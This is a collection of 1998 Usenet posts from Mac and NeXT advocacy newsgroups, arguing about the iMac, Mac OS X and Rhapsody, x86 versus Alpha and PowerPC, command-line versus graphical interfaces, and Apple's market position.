> ..That's a joke. Of course, I'd take an Alpha any day, and run Linux or DEC
> Unix on it. But for use with NT, most applications don't have native Alpha
> versions and must be run on emulation via FX!32 and that defeats the purpose
> of the Alpha CPU...
Choosing the x86 platform is not by default "a great choice." It
completely depends on the intended use of the machine and the
desired functionality. Precisely what PPC Unixen have you run
to compare to x86 which brought you to the conclusion that
"Unix on the Mac" is "a joke"? Statistics would be nice; relational
data will be disregarded as conjecture.
>
> The Mac is a good platform, but I don't see where it's any better than a PC
> or other. Even if one were to not run the MacOS on it, the Mac is a very
> limited platform... Not because of the hardware, but due to support for the
> hardware. Apple almost looked like they were going to address this problem
> with Rhapsody, but then they went and destroyed any future that Rhapsody
> had... Instead we get Mac OS X, which actually doesn't have any relation to
> Unix or X, because the 'X' stands for '10'. BTW: Has anyone noticed that
> lately the MacOS is slowly looking more like Windows??? At least the look
> of the menus, buttons, icons, etc. are...
>
Three points:
1) The Mac platform is more advantageous than the "PC"
platform for some uses, and as well the reverse is true.
Use of a given machine _completely_ determines the
requirements for that machine. IRIX has its advantages
over Solaris in some instances, just as Solaris has its over
IRIX (ownership of OS being one incidentally very large
benefit) in other instances. This "x os is useless, y is not"
is second-grade logic, at best. Your personal preferences
do not determine functional practices in the real world.
For instance, when I have ordered machines in the
past, I have not consulted you because I am relatively
uninterested in what _your_ _opinion_ about a particular
os is.
2) I think you have a fundamental misunderstanding of
Apple's strategy with the _renaming_ of Rhapsody.
It's still very much a BSD-based operating system.
3) The Mac OS is actually looking a great bit more like
NEXT/OPENSTEP, based on seeing and using Rhapsody
DR2.
Cheers,
matthew n. sharp
-
mns[at]mnslab.com [www.mnslab.com]
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 15 Sep 1998 06:12:43 -0500
Organization: Ericsson Inc.
Message-ID: <35FE4BAB.8E5E1F59@exu.ericsson.se>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <35FD2A5B.B5B90EE5@nstar.net> <6tk33g$7ic$1@cronkite.cs.umd.edu>
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Sean Luke wrote:
> References, please? Searching the DoJ for "Kodak" yields only one press
> release: a lawsuit to get Kodak to stop dumping toxic waste this year.
My mistake; it wasn't the DoJ that brought the complaint.
[cut]
> I *do* recall _something_ about Kodak and monopoly complaints in the past
> about copiers, but if I recall Kodak holds near-total control on some
> specific integral part to copier systems. My mind's fuzzy. Clue us in,
> perhaps with a reference.
Here is a quick reference:
http://www.antitrust.org/law/comp.policy/136.htm
I'll post some more tomorrow morning to flesh out the issue.
MJP
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A prediction
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Cc: Michael.Peck@ericsson.com
Organization: none
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu>
<EzAHE7.4r9@T-FCN.Net> <35FD7531.85E4847F@ericsson.com>
Mime-Version: 1.0
Date: Tue, 15 Sep 1998 00:01:20 GMT
In <35FD7531.85E4847F@ericsson.com> Michael Peck wrote:
> I'm sure if I looked I could find 25 positive articles regarding Windows
> NT.
Today? I don't think you could. In fact I can simply apply my "news.com
distill function" to this particular case. Find the last 10 articles on
news.com about the Mac, the iMac, or Apple in general. Do the same for NT or
MS. Make a ratio describing generally positive to generally negative
articles (this includes links to other sites BTW). Right now I'd say that
Apple is getting a 80% positive, and MS about a 60% negative. You can say
they are some sort of Apple lacky if you wish, but I don't think anyone would
believe you.
A quick look over the standard Mac link sites shows about 20 positive
articles and one bad one (they didn't note the one about gamecenter, is it
older?). I would think everyone would characterize this as "largely
positive". You have attempted to characterize this as largely negative. I
don't think you'll find a single person that will agree to your version.
> I don't really care, to be honest. Nor do I particularly care about
> the iMac; the point was to provide an opposing viewpoint
Yes, I'm sure you did it just to incite intelligent phylosophical
discource, indeed!
> something Mac
> users do not traditionally handle well without dangerous chemical
> imbalances.
Like this for instance "Mac users have brain problems". Thank you for so
clearly destroying any play for the moral high ground.
> The articles I quoted were not looked-for: they appeared on
> Web sites I normally visit and caught my eye. If I were *really*
> looking, I'm sure I could make a better case.
I'm not sure you could.
> That's just terrible. Visit a G.I. specialist and the thread entitled "a
> prediction" for a real example of "press culling" from a Mac weenie.
Arun a Mac wienie? Ha ha ha! A better example of your decent into utter
BS I can't think of!
> This wasn't even intended to be a direct response to Arun's postings,
> but now that you mention it, Maury...
Yes, now that I mention it I'm sure you're going to make an utter fool of
yourself. In your rush to take up the station of FUD left void by David
Field, you've latched onto one of the very few truely neutral people I've
ever seen in this forum as your example of a Mac weenie!
Ho ho! This is great! Now I know why I find skydiving boring this year,
what could compete with watching an inteligent person fall vicim to cognitive
dissonance in such hillarious form!
Maury
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Mon, 14 Sep 1998 17:16:51 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tkc0d$p94$1@nnrp1.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137> <6tb9c1$q4m$1@nnrp02.primenet.com> <joe.ragosta-1109981035180001@wil123.dol.net> <6tbdr8$dbh$1@bunyip.cc.uq.edu.au> <35f940de.0@news.depaul.edu> <heaney-1109981251420001@24.0.246.137> <x7k93ay1ss.fsf@loathe.com> <jesse-ya02408000R1409981202210001@news.latrobe.edu.au> <slrn6vpenj.sv.jason@jhste1.dyn.ml.org>
Jason S. wrote in message ...
>Greg McPherson posted the following to comp.sys.mac.advocacy:
>>Users start messing with all those UNIX text config files, get the system
>>in a right proper mess.
>
>If they have root access. Which they shouldn't have. As a regular
>user, they can't "get the system in a right proper mess."
Assumption: that there is a knowledgable system administrator
with root access who can bail the user out and keep him from
getting the system into a "right proper mess."
The problem with this is that with single-user machines, the
single user often *is* the system administrator. It's not like
system administrators are packaged as part of every iMac...
- Bill Woody
(Who remembers laughing like hell at a message given to him by
a Linux configuration tool on his home PC: "please contact your
system administrator for more information."
WHAT SYSTEM ADMINISTRATOR? It's my PERSONAL computer!)
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 14 Sep 1998 20:59:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tk041$rc8@newsb.netnews.att.com>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <EzAHE7.4r9@T-FCN.Net> <35FD7531.85E4847F@ericsson.com>
Originator: gupta@tlctest
I'm predicting an NT 5.0 meltdown because I think stabilizing
30+ million lines of code is difficult, even with the resources
of a Microsoft. To see how my prediction is going, I've been
providing references to all the reviews and news about NT 5.0
that I can find, that carry information about the stability issue.
In case you haven't noticed, I've also provided pointers to
reviews of NT 5.0 Beta 2 that are positively glowing and that do not
mention any stability problems with Beta 2.
Yes, I will seize on news that makes it seem that my prediction will
turn out to be true. But I am prepared to be wrong, and have posted
URLs that might indicate so.
***
Since the subject came up, if you take one of Steve Ballmer's remarks
seriously ( talking about making more NT source code available, quoted at
http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2137002,00.html,
"There is a real customer desire there, but making 40 million lines of
source code [available] doesn't delight anybody". )
the NT 5.0 source is closer to 40 million than to 30 million.
Regarding the number of lines of code in various OSes,
http://www.macopinion.com/columns/utopia/sep98/up-29.html
mentions an estimate of 35 million lines of code in NT 5.0,
7-8 million in Solaris, 7 million in Linux + Apache + Samba
+ all tools + utilities + KDE + X11 + XFree86.
-arun gupta
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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<6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
<rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
<rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
<rmcassid-1409981101110001@hephaestus.eng.uci.edu>
Message-ID: <0DfL1.5639$MS.14764307@news.rdc1.sdca.home.com>
Date: Mon, 14 Sep 1998 21:10:20 GMT
NNTP-Posting-Date: Mon, 14 Sep 1998 14:10:20 PDT
Organization: @Home Network
In <rmcassid-1409981101110001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> Oh, by the way. I asked around and it turns out I do know a few iMac
> owners. Mostly new computer users or people replacing 5-10 year old Macs
> and PCs.
>
>
I took my daughter up to Circuit City, now CompUSA, expecting to size her up
to the iMac. None on display,yet. I'll keep looking for iMac's in San
Diego. I'll go to their main CompUSA store. But I haven't found any iMac's
among the populace.
-r
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 14 Sep 1998 19:24:07 -0500
Organization: EarthLink Network, Inc.
Message-ID: <mteh-ya02408000R1409981924070001@news.earthlink.net>
References: <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com> <6th4k8$2o$1@bunyip.cc.uq.edu.au> <35fd738b.2127351@news.supernews.com> <mteh-ya02408000R1309982156530001@news.earthlink.net> <35fda148.4397068@news.supernews.com>
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In article <35fda148.4397068@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>>>I don't think there is a cab driver existent that does not know how
>>>to pump gas and check his oil.
>>
>>
>>I know how to plug in my Mac and check my e-mail.
>>
>>Try exchanging a heater core sometime.
>
>Good point. I don't write software. So, no, I don't know how to
>"exchange a heater core". But I understand how programs are loaded
>from the hard drive into memory, and how data files are saved back
>to disk. I know not to delete DLL files, and I know what to do
>(search) when my computer says "file not found". All of which I
>equate with pumping gas and checking oil. You assume it is the
>equivalent of engine repair.
Nope, not engine repair. Plus you never have to get your hands black and
greasy with computer software.
However, you know how to load passengers in and out of your car, is that
not correct? You understand that when you push on the right pedal, gas
comes from the gas tank into the engine, where it is burned; smoke comes
out the exhaust and your car tends to accelerate. You know not to remove
the lug nuts, and when you car flashes "Empty" it's time to search for a
gas station.
So, essentially, computers are similar in concept to many other complex tools.
>
>This seems to indicate that one of two things is true:
>
>a) you don't know anything about computers, or
No, my point is that plugging my computer in and checking my e-mail is
equivalent in difficulty to fueling my car and checking my oil. Or maybe
starting my car and checking for landmarks (and stop signs) along the way,
I don't know.
>b) computers are not cars.
No, they aren't. That's why they're called "computers" rather than "cars."
In some sense they do serve similar purposes and we treat them (or can
treat them) in similar ways.
>
>Now, you say you "know how to plug in your Mac and check email".
>Are you honestly saying that this is all you know about computers?
>You don't know how to load a new program? You don't know how to
>disable an extension that is crashing your Mac? You don't know how
>to search for files? You don't know how to put an icon on your
>desktop? You don't know how to empty your trash can?
Yup, just because I know how to plug in my Mac, I forgot how to do all
those other things.
>
>Computers are not cars.
Read above.
From: scholl@callisto.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Date: 14 Sep 1998 20:32:50 -0400
Organization: University at Buffalo
Message-ID: <6tkcji$c10$1@callisto.acsu.buffalo.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <EzA43F.JFx@T-FCN.Net>
NNTP-Posting-User: scholl
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: > Have you looked at <www.rockcity.net>?
: Now I have, and I'm insulted. Do they really need "jiggly blondes" to sell
: me a computer? Look at the picture on
: http://www.rockcity.net/02news/02b-news.html for instance.
those pictures are from an independant source- maxim magazine. it was one
of those "as seen is" thingies. a much better example would have been:
http://www.rockcity.net/home.html looks like they put that up themselves. =)
-ed
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 15 Sep 1998 00:51:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tkdlv$dgb@news1.panix.com>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu>
On Mon, 14 Sep 1998 11:29:20 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>And apparently they are still flying off the shelves. A colleague of mine
>went down to our embarrassing CompUSA and bought an iMac. She would have
>tried it out first but couldn't get past the crowds around it. Bought one
>anyway and asked the cashier if they've sold many. The response: "Well, 3
>in the last 15 minutes".
RCS computers in NYC canceled their plans to go PC only after the iMac
was announced. It is the first computer you see on the way in to the
store. (They also have an Apple studio display in the PC monitor display)
A salesman at J&R computers told me "We get as many as we can, we sell
as many as we get." I was there with a friend of mine who was buying
an iMac to replace a wintel box. (He is a web/firewall consultant who
works on Unix, in fact his primary machine is an Alpha running OpenBSD.)
One of the major reasons why he picked the iMac was its small footprint.
The iMac is a highly apartment/dorm friendly design. Some people have
claimed that laptops outsell desktops in NYC when you compare machines
bought by individuals for individual use. In a city where space is at a
very high premium, a machine that can be moved out of the way in five
minutes without having to untangle a rats nest of wires has definite
advantages.
>Come xMas look for Apple to sweeten the deal a bit.
Lowering the price to $999?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 15 Sep 1998 00:51:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tkdm3$dgb@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com>
On Fri, 11 Sep 1998 10:48:04 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>By the way, who are "John and Mary six pack"? I really don't think it's
>necessary to use these sorts of terms to describe people. If "John and
>Mary six pack" describes some small group of people among the populace
>who is incapable of using a CLI effectively, I'm not addressing them.
It isn't a question of them not being able to use a CLI effectively. Many
can, if it is sugarcoated like AppleScript or VBA. They just don't care
about CLIs.
> If
>"John and Mary six pack" describes the 99% of the populace that you say
>doesn't want a CLI, I think you'd better reconsider your attitude toward
>your neighbors.
I will not preach the CLI gospel. If I am asked to teach the shell, I
will. As of yet, no one, out of hundred of clients in over ten years
of working with accountants, analysts, actuaries, traders and brokers;
has asked. THEY DON'T CARE. And if I tried to preach, it would cost me
clients. No one likes to be lectured to. Think back to all the pedantic
(and droning) speeches Mac looneys make about the GUI and compare it to
your pro CLI discussion. See any common points?
>Invoking this bogeyman "Joe six pack" every time the subject of a
>non-Anointed arises gets so tiresome.
I greatly prefer manual transmissions to automatic transmissions, that
doesn't mean that I'm going to tell everyone to learn to drive stick.
Most people care more about getting from point A to point B then how
they are going to get from point A to point B.
It isn't a question of them being "non-Anointed" it is a question of
them not giving a shit about CLIs.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 15 Sep 1998 00:51:13 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tkdm1$dgb@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F8BDF2.62A819DE@nstar.net>
On Fri, 11 Sep 1998 01:06:42 -0500,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Humor aside, users have been taught to use GUIs, period.
A lot of the people I work with started on DOS. When Win3.1 made it
possible to launch Apps without the CLI, and manage files from DOS,
they stopped using DOS.
Many traders have a Sun and an NT box or their desks. While it isn't
unusual to see someone with an XTerm running, it is unusual to see
someone use that Xterm for something other than launching Apps. And
they _never_ run cmd.exe on their NT boxes.
> I don't think
>anyone can say "CLIs are too hard for most users"
Most users don't want to learn anything other than the bare minimum
needed to do there jobs. After over a decade of working with accountants,
analysts, traders and actuaries; I am willing to stand by that statment.
Do you read every man page, readme, and help file before using a system?
Of course not. You learn what you need, and then fill in that knowledge
as you work.
These are very technical people, it is just that their background isn't
in computing, it is in finance. They will use VBA or other scripting
systems, but they have little or no desire to learn CLI shells. What
can you do with find/awk/sed that you can not do under VBA in Office
on NT?
>or "Users don't want
>CLIs", since nobody really knows whether or not this is true. Nobody
>seems willing to give it a try.
I am not willing to preach the gospel of the CLI to the heathen GUI users.
If a user asked me to teach them the shell, I would teach them. To date, I
have _never_ had _anyone_ _ever_ ask me. Not once. And yes, I have used the
shell in front of them.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Mon, 14 Sep 1998 14:21:33 -0700
Organization: University of British Columbia
Message-ID: <1dfcbck.16funpu44v85cN@p054.intchg2.net.ubc.ca>
References: <35FC1A30.EE020BD5@nstar.net>
User-Agent: MacSOUP/2.4b2
Michael J. Peck <mjpeck@nstar.net> wrote:
> In http://www.businessweek.com/bwdaily/dnflash/aug1998/nf80831a.htm,
> Eric Hubler describes his excitement about the new iMac he just bought.
> One week later, he writes a decidedly different article,
> http://www.businessweek.com/bwdaily/dnflash/sep1998/nf80911d.htm.
>
> Excerpt:
>
> "I'm sorry, did I call it a computer? It isn't a computer if it does
> not, to borrow a popular phrase, compute. It isn't a computer if all it
> does is respond, passively, to the earth's gravitational field, or
> displace an amount equal to its own volume when you immerse it in
> water."
>
> [...]
>
> "Pssst....wanna buy an oddly colored, $1,299 paperweight/volume
> measurer?"
Heh. Some folk have a special knack for getting the attention of
customer service.
--
Bruce Bennett
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 15 Sep 1998 00:51:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tkdm7$dgb@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com>
On Mon, 14 Sep 1998 12:22:19 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Joe Ragosta wrote:
>> Sure. Apple has a monopoly of the "Mac market".
>>
>> Just like Compaq has a monopoly of the Compaq market. And Dell has a
>> monopoly of the Dell market. And so on.
>>
>> You see--Macs are PCs. They're one brand of PCs and the manufacturer of
>> that brand is obviously going to be the only one who can make products
>> with that brand name. You're confusing trademarks with monopolies.
>
>The theory of the monopoly is that a particular market is bounded by
>replacement constraints, i.e. if a competitor cannot reasonably sell a
>replacement for your product, you have a monopoly on that product.
<clip>
>Think it through carefully and slowly. Can Dell replace your Macintosh?
Yes. If they couldn't, then Apple's market share could not drop.
What can be done on a Mac that can not be "reasonably replaced" by a Dell?
Both can run Photoshop, Office and Netscape. Both can run Linux and BSD
OSs. Both are available in beige boxes with IDE drives and PCI slots.
>occasions. Apple is the sole supplier of your drug of choice. They have
>a monopoly on your market.
Apple has to differentiate its product from Compaq and Dell, just as Gateway,
IBM and HP have to.
From: Chris Hurlbutt <chrish@xiotech.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Inappropriate Thread (was "pissed at SGI" + variants)
Date: Mon, 14 Sep 1998 17:24:13 -0400
Organization: XIOtech
Message-ID: <35FD897D.8A541ED6@xiotech.com>
References: <35E5EA2E.FABFE12D@HiWAAY.net> <6s6kbm$1m8$1@news00.btx.dtag.de> <slrn6ug89l.54.alastair@calliope.demon.co.uk> <6sbdqq$ath$1@news02.btx.dtag.de> <6sbrr2$9hv@rac2.wam.umd.edu> <smooth-ya02408000R0109982037390001@news.aloha.net> <6siphn$b3m$1@camel19.mindspring.com> <smooth-ya02408000R0209981530360001@news.aloha.net> <6sktuo$lrj$1@camel18.mindspring.com> <smooth-ya02408000R0609980158330001@news> <smooth-ya02408000R1009982359440001@news.aloha.net> <35faff8d.1107347@nntp.ix.netcom.com> <6th2ho$sm0@chronicle.concentric.net> <mns-1409981641520001@pm200-26.bc.net-link.net>
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Put your flame thrower away please...
Matthew N. Sharp wrote:
> First, I must say that this particular thread no longer belongs under the
> comp.sys.sgi.hardware and comp.sys.sgi.marketplace newsgroups, so
> I am redirecting it as such.
>
> In article <6th2ho$sm0@chronicle.concentric.net>, "Dark Science"
> <slathan@GUNKdarkscience.com> wrote:
>
> > Crypt242 wrote in message <35faff8d.1107347@nntp.ix.netcom.com>...
> > >On Thu, 10 Sep 1998 23:59:44 -1000, smooth@aloha.net (George) wrote:
> > >
> > >Macs on the software end aren't quite so good, but as much as people
> >
> >
> > As Zsolt Sabo has already stated in his reply... This is true and I would
> > most certainly agree. The MacOS is pure crap unless you're a computer
> > illiterate that is unwilling to learn how to use a computer.
>
> So the people who code applications for the Mac OS (note: space)
> are, in your words, "computer illiterate", and "unwilling to learn how
> to use a computer"? I'd be the last person to choose the Mac OS
> over Un*x, but am certainly not opposed to using a Mac when the
> need is present. This message is being posted from a Mac, running
> Mac OS. Am I "computer illiterate" because of that, or are you being
> exceedingly arrogant, shortsighted, and in the process making incorrect
> overgeneralizations? I'd be more inclined to believe the latter.
>
> >
> > >mac are excellent. (not compared to a lot of the SGI's. but compared
> > >to x86). X86 has probably the oldest piece of shit poor ass design on
> > >the market. People say "yeah but it's cheap". Check out the prices on
> > >SGI's, Alphas, and Mac's nowadays. If you don't run windows.. get a
> > >better damn machine than x86. even for linux.
> >
> > Alpha CPU systems are also just PC systems with a different CPU and a few
> > minor modifications to adapt this different CPU. The Alpha CPU line offers
> > very powerful processors, but such systems are still tied to the x86
> > architecture. With a few exceptions of some of the older DEC Station and
> > Unix only systems from DEC that only run DEC Unix or VMS. However, I don't
> > think DEC still offers such systems - now everything they have is capable of
> > running NT. ...Or at least that's the case for their desktop and small
> > server systems. Their large servers are probably still a proprietary
> > architecture, but I haven't exactly taken a look into that.
>
> What is your point here? Perhaps (and I'm guessing because
> you aren't being clear) it is that Digital's decision to pursue a
> Microsoft-captive audience is indicative of the superiority of
> NT? Apparently Microsoft doesn't have the same dedication
> to Digital's architectural platform, as they have wavered quite
> a bit in the pledging of support to the Alpha.
>
> >
> > And if one doesn't run Windows, x86 is still a great choice. Linux and
> > Solaris on the x86 platform are very fast and stable. Unix on the Mac?
> > ..That's a joke. Of course, I'd take an Alpha any day, and run Linux or DEC
> > Unix on it. But for use with NT, most applications don't have native Alpha
> > versions and must be run on emulation via FX!32 and that defeats the purpose
> > of the Alpha CPU...
>
> Choosing the x86 platform is not by default "a great choice." It
> completely depends on the intended use of the machine and the
> desired functionality. Precisely what PPC Unixen have you run
> to compare to x86 which brought you to the conclusion that
> "Unix on the Mac" is "a joke"? Statistics would be nice; relational
> data will be disregarded as conjecture.
>
> >
> > The Mac is a good platform, but I don't see where it's any better than a PC
> > or other. Even if one were to not run the MacOS on it, the Mac is a very
> > limited platform... Not because of the hardware, but due to support for the
> > hardware. Apple almost looked like they were going to address this problem
> > with Rhapsody, but then they went and destroyed any future that Rhapsody
> > had... Instead we get Mac OS X, which actually doesn't have any relation to
> > Unix or X, because the 'X' stands for '10'. BTW: Has anyone noticed that
> > lately the MacOS is slowly looking more like Windows??? At least the look
> > of the menus, buttons, icons, etc. are...
> >
>
> Three points:
> 1) The Mac platform is more advantageous than the "PC"
> platform for some uses, and as well the reverse is true.
> Use of a given machine _completely_ determines the
> requirements for that machine. IRIX has its advantages
> over Solaris in some instances, just as Solaris has its over
> IRIX (ownership of OS being one incidentally very large
> benefit) in other instances. This "x os is useless, y is not"
> is second-grade logic, at best. Your personal preferences
> do not determine functional practices in the real world.
> For instance, when I have ordered machines in the
> past, I have not consulted you because I am relatively
> uninterested in what _your_ _opinion_ about a particular
> os is.
>
> 2) I think you have a fundamental misunderstanding of
> Apple's strategy with the _renaming_ of Rhapsody.
> It's still very much a BSD-based operating system.
>
> 3) The Mac OS is actually looking a great bit more like
> NEXT/OPENSTEP, based on seeing and using Rhapsody
> DR2.
>
> Cheers,
> matthew n. sharp
> -
> mns[at]mnslab.com [www.mnslab.com]
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From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
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References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
<6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
<rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
<rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
<rmcassid-1409981059350001@hephaestus.eng.uci.edu>
Message-ID: <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com>
Date: Mon, 14 Sep 1998 21:33:26 GMT
NNTP-Posting-Date: Mon, 14 Sep 1998 14:33:26 PDT
Organization: @Home Network
In <rmcassid-1409981059350001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> >It is distinctive enough to outsell "any" other keyboard PDA including
HP,
> >3Com, et. al. worldwide.
>
> The hardware, the combination, but not the OS. It doesn't outsell WinCE.
> If we've learned anything in the years since 1984, its that technical
> superiority isn't the goal, merely a potential point of failure averted.
> I'd think Apple would want to provide an OS that would leverage as much of
> the existing work of developers as possible. Carbon for EPOCH? Maybe. But
> why not Carbon for NewtonOS?
>
>
Sounds like the right answer to the wrong question... The question is
market acceptance. NewtonOS failed whereas Psion is holding its own .vs.
WinCE AND outselling WinCE in "wireless" devices. Psion beats Apple hands
down and is the _only_ contenter to WinCE with proven resilience.
I want an Apple that is able to compete against the "WinXX" juggernaut.
They can't do so with ex-Newton and surely won't be scaling Mac down to
wireless devices.
> >> I think of OpenStep without YB and, well, big whoop. It's Mach and
BSD.
> >It's
> >> YB and platform independence and good design that is interesting, at
least
> >> to me.
>
> >This is provincial thinking...
>
> It is. I'm somewhat aware of my limitations here.
>
> >... what EPOCH OS does is "wireless" and small
> >form factor applications.
> >The "synergy" of MacOS X (was Rhapsody) + Psion
> >is _interoperability_, _synchronization_ and _compatibility_ from cell
> >phone, voice applications, desktop to server. That Mach and BSD do it
for
> >you is nice but when you don't have a desk any longer you'll need a
seamless
> >"wireless" solution. You're probably only 24 mos. away from this
yourself.
>
> Well, I'm starting to think that you are right. 24 months is a bit soon
